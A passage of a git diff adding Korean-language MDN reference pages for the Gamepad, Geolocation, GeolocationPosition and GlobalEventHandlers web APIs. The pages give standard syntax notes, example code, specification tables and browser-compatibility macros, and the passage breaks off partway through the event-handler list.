+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
+  for (var i = 0; i < gamepads.length; i++) {
+    if (gamepads[i]) {
+      if (gamepads[i].index in controllers) {
+        controllers[gamepads[i].index] = gamepads[i];
+      } else {
+        addgamepad(gamepads[i]);
+      }
+    }
+  }
+}
+
+
+window.addEventListener("gamepadconnected", connecthandler);
+window.addEventListener("gamepaddisconnected", disconnecthandler);
+
+if (!haveEvents) {
+  setInterval(scangamepads, 500);
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}{{Spec2("Gamepad")}}Initial defintion
+ +

Browser compatibility

+ + + +

{{Compat("api.Gamepad")}}

diff --git a/files/ko/web/api/geolocation/clearwatch/index.html b/files/ko/web/api/geolocation/clearwatch/index.html new file mode 100644 index 0000000000..b58c9b7738 --- /dev/null +++ b/files/ko/web/api/geolocation/clearwatch/index.html @@ -0,0 +1,92 @@ +--- +title: Geolocation.clearWatch() +slug: Web/API/Geolocation/clearWatch +tags: + - API + - Geolocation API + - Method + - Reference + - Secure context + - 위치 + - 위치정보 +translation_of: Web/API/Geolocation/clearWatch +--- +
{{securecontext_header}}{{ APIref("Geolocation API") }}
+ +

Geolocation.clearWatch() 메서드는 {{domxref("Geolocation.watchPosition()")}}로 등록한 위치 변화 감지 콜백을 해제합니다.

+ +

구문

+ +
navigator.geolocation.clearWatch(id);
+ +

매개변수

+ +
+
id
+
{{domxref("Geolocation.watchPosition()")}} 메서드가 반환하는 콜백 ID.
+
+ +

예제

+ +
var id, target, option;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude && target.longitude === crd.longitude) {
+    console.log('Congratulation, you reach the target');
+    navigator.geolocation.clearWatch(id);
+  }
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+target = {
+  latitude : 0,
+  longitude: 0,
+}
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation')}}{{Spec2('Geolocation')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Geolocation.clearWatch")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/geolocation/getcurrentposition/index.html b/files/ko/web/api/geolocation/getcurrentposition/index.html new file mode 100644 index 0000000000..ffe4aeae2f --- /dev/null +++ b/files/ko/web/api/geolocation/getcurrentposition/index.html @@ -0,0 +1,88 @@ +--- +title: Geolocation.getCurrentPosition() +slug: Web/API/Geolocation/getCurrentPosition +tags: + - API + - Geolocation + - Geolocation API + - Method + - Reference + - Secure context + - 위치 + - 위치정보 +translation_of: Web/API/Geolocation/getCurrentPosition +--- +
{{securecontext_header}}{{ APIRef("Geolocation API") }}
+ +

Geolocation.getCurrentPosition() 메서드는 장치의 현재 위치를 가져옵니다.

+ +

구문

+ +
navigator.geolocation.getCurrentPosition(success[, error[, [options]])
+ +

매개변수

+ +
+
success
+
{{domxref("GeolocationPosition")}} 객체를 유일한 매개변수로 받는 콜백 함수.
+
error {{optional_inline}}
+
{{domxref("GeolocationPositionError")}} 객체를 유일한 매개변수로 받는 콜백 함수.
+
options {{optional_inline}}
+
{{domxref("PositionOptions")}} 객체.
+
+ +

예제

+ +
var options = {
+  enableHighAccuracy: true,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+function success(pos) {
+  var crd = pos.coords;
+
+  console.log('Your current position is:');
+  console.log('Latitude : ' + crd.latitude);
+  console.log('Longitude: ' + crd.longitude);
+  console.log('More or less ' + crd.accuracy + ' meters.');
+};
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+navigator.geolocation.getCurrentPosition(success, error, options);
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation')}}{{Spec2('Geolocation')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Geolocation.getCurrentPosition")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/geolocation/index.html b/files/ko/web/api/geolocation/index.html new file mode 100644 index 0000000000..475c706920 --- /dev/null +++ b/files/ko/web/api/geolocation/index.html @@ -0,0 +1,70 @@ +--- +title: Geolocation +slug: Web/API/Geolocation +tags: + - API + - Advanced + - Geolocation API + - Interface + - Reference + - Secure context + - 위치정보 +translation_of: Web/API/Geolocation +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

Geolocation 인터페이스는 장치의 위치를 가져오는 방법을 나타냅니다. Geolocation을 사용하면 웹 사이트나 웹 앱이 위치 정보를 활용해, 현재 위치에 대해 맞춤 콘텐츠를 제공할 수 있습니다.

+ +

{{domxref("Navigator")}} 객체의 {{domxref("Navigator.geolocation", "geolocation")}} 속성으로 이 인터페이스를 구현하는 객체에 접근할 수 있습니다.

+ +
+

참고: 보안 상의 문제로, 웹 페이지가 위치 정보에 접근을 시도하면 사용자에게 알림을 보내고 권한을 허용할지 묻습니다. 각 브라우저는 자신만의 권한 정책과 요청 방식을 가지고 있으므로 주의해야 합니다.

+
+ +

속성

+ +

Geolocation 인터페이스는 어떤 속성도 구현하거나 상속하지 않습니다.

+ +

메서드

+ +

Geolocation 인터페이스는 어떤 메서드도 상속하지 않습니다.

+ +
+
{{domxref("Geolocation.getCurrentPosition()")}} {{securecontext_inline}}
+
장치의 현재 위치를 조사한 후 {{domxref("GeolocationPosition")}} 객체로 반환합니다.
+
{{domxref("Geolocation.watchPosition()")}} {{securecontext_inline}}
+
장치의 위치가 변경될 때마다 호출하는 콜백을 등록합니다. 반환값은 콜백의 식별자로 쓸 수 있는 long 값입니다.
+
{{domxref("Geolocation.clearWatch()")}} {{securecontext_inline}}
+
watchPosition()을 이용해 등록한 특정 콜백을 삭제합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation')}}{{Spec2('Geolocation')}}초기 명세.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Geolocation")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/geolocation/watchposition/index.html b/files/ko/web/api/geolocation/watchposition/index.html new file mode 100644 index 0000000000..0e38ea31ac --- /dev/null +++ b/files/ko/web/api/geolocation/watchposition/index.html @@ -0,0 +1,99 @@ +--- +title: Geolocation.watchPosition() +slug: Web/API/Geolocation/watchPosition +tags: + - API + - Geolocation + - Geolocation API + - Method + - Reference + - Secure context +translation_of: Web/API/Geolocation/watchPosition +--- +
{{securecontext_header}}{{ APIref("Geolocation API") }}
+ +

{{domxref("Geolocation")}} 인터페이스의 watchPosition() 메서드는 장치의 위치가 바뀔 때마다 자동으로 호출할 처리기 함수를 등록할 때 사용합니다. 선택적으로 오류 발생 시 사용할 콜백 함수도 지정할 수 있습니다.

+ +

구문

+ +
navigator.geolocation.watchPosition(success[, error[, options]])
+ +

매개변수

+ +
+
success
+
{{domxref("GeolocationPosition")}} 객체를 입력 매개변수로 사용하는 콜백 함수.
+
error {{optional_inline}}
+
{{domxref("GeolocationPositionError")}} 객체를 입력 매개변수로 사용하는 콜백 함수.
+
options {{optional_inline}}
+
위치 감지 설정 옵션을 제공하는 {{domxref("PositionOptions")}} 객체.
+
+ +

반환 값

+ +

등록한 처리기를 식별할 때 사용하는 정수 ID. ID를 {{domxref("Geolocation.clearWatch()")}}에 전달해 등록을 해제할 수 있습니다.

+ +

예제

+ +
var id, target, options;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude && target.longitude === crd.longitude) {
+    console.log('Congratulations, you reached the target');
+    navigator.geolocation.clearWatch(id);
+  }
+}
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+}
+
+target = {
+  latitude : 0,
+  longitude: 0
+};
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#dom-geolocation-watchposition', 'watchPosition()')}}{{Spec2('Geolocation')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Geolocation.watchPosition")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/geolocation_api/index.html b/files/ko/web/api/geolocation_api/index.html new file mode 100644 index 0000000000..e65181fdda --- /dev/null +++ b/files/ko/web/api/geolocation_api/index.html @@ -0,0 +1,97 @@ +--- +title: Geolocation API +slug: Web/API/Geolocation_API +tags: + - Geolocation API + - Guide + - Intermediate + - Overview +translation_of: Web/API/Geolocation_API +--- +
{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}
+ +

Geolocation API는 사용자가 원할 경우 웹 애플리케이션에 위치 정보를 제공할 수 있는 API입니다. 개인정보 보호를 위해, 브라우저는 위치 정보를 제공하기 전에 사용자에게 위치 정보 권한에 대한 확인을 받습니다.

+ +

Geolocation 객체를 사용하려는 WebExtension은 매니페스트에 "geolocation" 권한을 추가해야 합니다. 사용자의 운영 체제는 WebExtension이 처음으로 위치 정보를 요청하는 순간 사용자에게 정보 제공 여부를 물어봅니다.

+ +

개념과 사용법

+ +

사용자의 현재 위치를 지도에 표시하거나 위치 기반 개인화 정보를 제공하는 등, 웹 앱에서 위치 정보를 가져와야 하는 경우가 종종 있습니다.

+ +

Geolocation API는 {{domxref("Navigator.geolocation", "navigator.geolocation")}}을 통해 접근합니다. 이 때, 사용자의 브라우저는 위치 정보 접근 권한을 요청하게 되고, 사용자가 허가할 경우 현재 장치에서 사용 가능한 최선의 방법(GPS, WiFi, ...)을 통해 위치를 알아냅니다.

+ +

위의 과정이 끝난 후, 코드에서는 몇 가지 다른 방법으로 위치 정보를 가져올 수 있습니다.

+ + + +

두 메서드 모두 최대 세 개의 매개변수를 받습니다.

+ + + +

Geolocation 사용법에 대한 추가 정보는 Geolocation API 사용하기 문서를 참고하세요.

+ +

인터페이스

+ +
+
{{domxref("Geolocation")}}
+
Geolocation API의 주요 클래스로서 사용자의 현재 위치를 가져오고, 위치 변경을 감지하고, 이전에 등록했던 감지기를 제거하는 메서드를 담고 있습니다.
+
{{domxref("GeolocationPosition")}}
+
사용자의 위치를 나타냅니다. GeolocationPosition 인스턴스는 {{domxref("Geolocation")}} 객체 메서드의 성공 콜백에 제공되며, 타임스탬프와 함께 {{domxref("GeolocationCoordinates")}} 객체 인스턴스를 포함합니다.
+
{{domxref("GeolocationCoordinates")}}
+
사용자 위치의 좌표를 나타냅니다. GeolocationCoordinates 인스턴스는 위도, 경도 외에도 기타 중요한 관련 정보를 포함합니다.
+
{{domxref("GeolocationPositionError")}}
+
GeolocationPositionError는 {{domxref("Geolocation")}} 객체 메서드의 오류 콜백에 제공되며, 오류 코드와 오류 메시지를 담고 있습니다.
+
{{domxref("Navigator.geolocation")}}
+
API로 접근할 수 있는 지점입니다. {{domxref("Geolocation")}} 객체 인스턴스를 반환합니다.
+
+ +

연관 배열

+ +
+
{{domxref("PositionOptions")}}
+
{{domxref("Geolocation.getCurrentPosition()")}}과 {{domxref("Geolocation.watchPosition()")}}에 매개변수로 전달할 옵션을 나타내는 객체입니다.
+
+ +

예제

+ +

{{page("/en-US/docs/Web/API/Geolocation_API/Using_the_Geolocation_API","Examples")}}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Geolocation")}}{{Spec2("Geolocation")}}
+ +

브라우저 호환성

+ +

{{Compat("api.Geolocation")}}

+ +

가용성

+ +

WiFi 기반의 위치 정보는 보통 Google이 제공하므로, 기본 Geolocation API는 중국에서 사용하지 못할 수도 있습니다. 대신 Baidu, Autonavi, Tencent 등 지역 서드파티 제공자가 지원하는 라이브러리를 사용할 수 있습니다. 위 서비스는 WiFi 대신 IP 주소와 지역 앱을 사용해 위치 정보를 개선합니다.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/geolocationposition/index.html b/files/ko/web/api/geolocationposition/index.html new file mode 100644 index 0000000000..c941b7f961 --- /dev/null +++ b/files/ko/web/api/geolocationposition/index.html @@ -0,0 +1,62 @@ +--- +title: GeolocationPosition +slug: Web/API/GeolocationPosition +tags: + - API + - Geolocation API + - GeolocationPosition + - Interface + - Reference + - Secure context +translation_of: Web/API/GeolocationPosition +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

GeolocationPosition 인터페이스는 주어진 시간에 장치가 위치한 지점을 나타냅니다. 지점은 {{domxref("Coordinates")}} 객체로 표현하여, 지구를 나타내는 회전타원체 위의 2D 위치와 더불어 높이와 속도 정보를 담습니다.

+ +

속성

+ +

GeolocationPosition 인터페이스는 어떤 속성도 상속하지 않습니다.

+ +
+
{{domxref("Position.coords")}} {{readonlyInline}} {{securecontext_inline}}
+
주어진 시간의 위치를 나타내는 {{domxref("Coordinates")}} 객체입니다.
+
{{domxref("Position.timestamp")}} {{readonlyInline}} {{securecontext_inline}}
+
위치를 기록한 시간을 나타내는 {{domxref("DOMTimeStamp")}}입니다.
+
+ +

메서드

+ +

GeolocationPosition 인터페이스는 어떤 메서드도 상속하거나 구현하지 않습니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#position', 'Position')}}{{Spec2('Geolocation')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.GeolocationPosition")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/globaleventhandlers/index.html b/files/ko/web/api/globaleventhandlers/index.html new file mode 100644 index 0000000000..46d38934b1 --- /dev/null +++ b/files/ko/web/api/globaleventhandlers/index.html @@ -0,0 +1,268 @@ +--- +title: GlobalEventHandlers +slug: Web/API/GlobalEventHandlers +tags: + - API + - DOM + - HTML DOM + - Mixin + - Reference +translation_of: Web/API/GlobalEventHandlers +--- +
{{ApiRef("HTML DOM")}}
+ +

GlobalEventHandlers 믹스인mixin은 {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}} 등 여러 인터페이스가 공유하는 공통 이벤트 처리기를 묘사합니다. 물론, 각각의 인터페이스는 아래에 나열된 항목뿐만 아니라 더 많은 이벤트 처리기를 추가할 수 있습니다.

+ +
+

참고: GlobalEventHandlers는 인터페이스가 아닌 믹스인입니다. 따라서 GlobalEventHandlers 자료형을 가진 객체를 만들 수는 없습니다.

+
+ +

속성

+ +

이 인터페이스는 아래에 나열된 이벤트 처리기를 위한 속성만을 갖습니다.

+ +

이벤트 처리기

+ +

다음 이벤트 처리기들은 {{domxref("GlobalEventHandlers")}} 믹스인이 정의하고, {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}와 웹 워커의 {{domxref("WorkerGlobalScope")}}가 구현합니다.

+ +
+
+
{{domxref("GlobalEventHandlers.onabort")}}
+
{{event("abort")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onanimationcancel")}} {{Non-standard_inline}}
+
실행 중이던 CSS 애니메이션이 취소됐음을 알리는 {{event("animationcancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onanimationend")}} {{Non-standard_inline}}
+
실행 중이던 CSS 애니메이션이 끝났음을 알리는 {{event("animationend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onanimationiteration")}} {{Non-standard_inline}}
+
실행 중인 CSS 애니메이션의 다음 회차 재생이 시작됐음을 알리는 {{event("animationiteration")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onanimationstart")}} {{Non-standard_inline}}
+
CSS 애니메이션의 재생이 시작됐음을 알리는 {{event("animationstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onauxclick")}} {{Non-standard_inline}}
+
마우스 휠 클릭 등 비주요 버튼이 눌렸음을 알리는 {{event("auxclick")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onblur")}}
+
{{event("blur")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onerror")}}
+
{{event("error")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("OnErrorEventHandler")}}.
+
{{domxref("GlobalEventHandlers.onfocus")}}
+
{{event("focus")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.oncancel")}}
+
{{event("cancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.oncanplay")}}
+
{{event("canplay")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.oncanplaythrough")}}
+
{{event("canplaythrough")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onchange")}}
+
{{event("change")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onclick")}}
+
{{event("click")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onclose")}}
+
{{event("close")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.oncontextmenu")}}
+
{{event("contextmenu")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.oncuechange")}}
+
{{event("cuechange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondblclick")}}
+
{{event("dblclick")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondrag")}}
+
{{event("drag")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondragend")}}
+
{{event("dragend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondragenter")}}
+
{{event("dragenter")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondragexit")}}
+
{{event("dragexit")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondragleave")}}
+
{{event("dragleave")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondragover")}}
+
{{event("dragover")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondragstart")}}
+
{{event("dragstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondrop")}}
+
{{event("drop")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ondurationchange")}}
+
{{event("durationchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onemptied")}}
+
{{event("emptied")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onended")}}
+
{{event("ended")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ongotpointercapture")}}
+
+

{{event("gotpointercapture")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.

+
+
{{domxref("GlobalEventHandlers.oninput")}}
+
{{event("input")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.oninvalid")}}
+
{{event("invalid")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onkeydown")}}
+
{{event("keydown")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onkeypress")}}
+
{{event("keypress")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onkeyup")}}
+
{{event("keyup")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onload")}}
+
{{event("load")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onloadeddata")}}
+
{{event("loadeddata")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onloadedmetadata")}}
+
{{event("loadedmetadata")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onloadend")}}
+
자원의 불러오기가 멈췄음을 나타내는 {{event("loadend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onloadstart")}}
+
자원을 불러오기 시작함을 나타내는 {{event("loadstart")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onlostpointercapture")}}
+
+

{{event("lostpointercapture")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.

+
+
{{domxref("GlobalEventHandlers.onmousedown")}}
+
{{event("mousedown")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmouseenter")}}
+
{{event("mouseenter")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmouseleave")}}
+
{{event("mouseleave")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmousemove")}}
+
{{event("mousemove")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmouseout")}}
+
{{event("mouseout")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmouseover")}}
+
{{event("mouseover")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmouseup")}}
+
{{event("mouseup")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onmousewheel")}} {{Non-standard_inline}} {{Deprecated_inline}}
+
{{event("mousewheel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}. onwheel을 대신 사용하세요.
+
{{ domxref("GlobalEventHandlers.onwheel") }}
+
{{event("wheel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpause")}}
+
{{event("pause")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onplay")}}
+
{{event("play")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onplaying")}}
+
{{event("playing")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerdown")}}
+
{{event("pointerdown")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointermove")}}
+
{{event("pointermove")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerup")}}
+
{{event("pointerup")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointercancel")}}
+
{{event("pointercancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerover")}}
+
{{event("pointerover")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerout")}}
+
{{event("pointerout")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerenter")}}
+
{{event("pointerenter")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerleave")}}
+
{{event("pointerleave")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}
+
{{event("pointerlockchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}
+
{{event("pointerlockerror")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onprogress")}}
+
{{event("progress")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onratechange")}}
+
{{event("ratechange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onreset")}}
+
{{event("reset")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onresize")}}
+
{{event("resize")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onscroll")}}
+
{{event("scroll")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onseeked")}}
+
{{event("seeked")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onseeking")}}
+
{{event("seeking")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onselect")}}
+
{{event("select")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onselectstart")}}
+
사용자가 웹 페이지의 텍스트 등을 선택하기 시작함을 나타내는 {{event("selectionchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onselectionchange")}}
+
웹 페이지의 선택 영역(텍스트 등)이 바뀌었음을 나타내는 {{event("selectionchange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onshow")}}
+
{{event("show")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}
+
{{event("sort")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onstalled")}}
+
{{event("stalled")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onsubmit")}}
+
{{event("submit")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onsuspend")}}
+
{{event("suspend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontimeupdate")}}
+
{{event("timeupdate")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.onvolumechange")}}
+
{{event("volumechange")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontouchcancel")}} {{Non-standard_inline}} {{Experimental_inline}}
+
{{event("touchcancel")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontouchend")}} {{Non-standard_inline}} {{Experimental_inline}}
+
{{event("touchend")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontouchmove")}} {{Non-standard_inline}} {{Experimental_inline}}
+
{{event("touchmove")}} 이벤트가 발생했을 때 호출할 코드를 나타내는 {{domxref("EventHandler")}}.
+
{{domxref("GlobalEventHandlers.ontouchstart")}} {{Non-standard_inline}} {{Experimental_inline}}
+
